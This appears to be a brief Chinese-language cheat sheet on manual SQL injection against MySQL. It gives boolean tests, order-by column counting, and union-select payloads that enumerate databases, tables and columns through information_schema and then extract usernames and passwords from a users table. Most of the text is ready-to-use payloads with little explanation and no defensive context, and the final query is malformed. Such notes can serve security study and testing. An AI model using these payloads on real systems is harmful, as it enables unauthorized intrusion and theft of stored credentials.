and 1=1 --返回true,显示正常
and 1=2 --返回false,显示错误
order by [数值]
union select 1,2,3,……,7 from users --猜表名并记录返回回显位(报错说明表不存在,将表名更换继续猜)
union select 1,2,username,4,5,password,7 --猜列名
在MySQL5.0之后,MySQL会默认在数据库中存放一个"information_schema"的数据库,所有数据库及他们的表都会存放在"information_schema"这个数据库中,我们需要记住:SCHEMATA、TABLES和COLUMNS这三个表名。
information_schema.tables 记录表名信息 information_schema.columns 记录列名信息 TABLE_SCHEMA 数据库字段 table_name 表名 column_name 列名
database():当前网站使用的数据库
version():当前mysql的版本
user():当前mysql的用户
union select 1,2,database(),version(),user(),6,7
union select table_name from information_schema.tables where table_schema=database();
union select column_name from information_schema.columns where table_name='users';
union select username,password from table_name='user';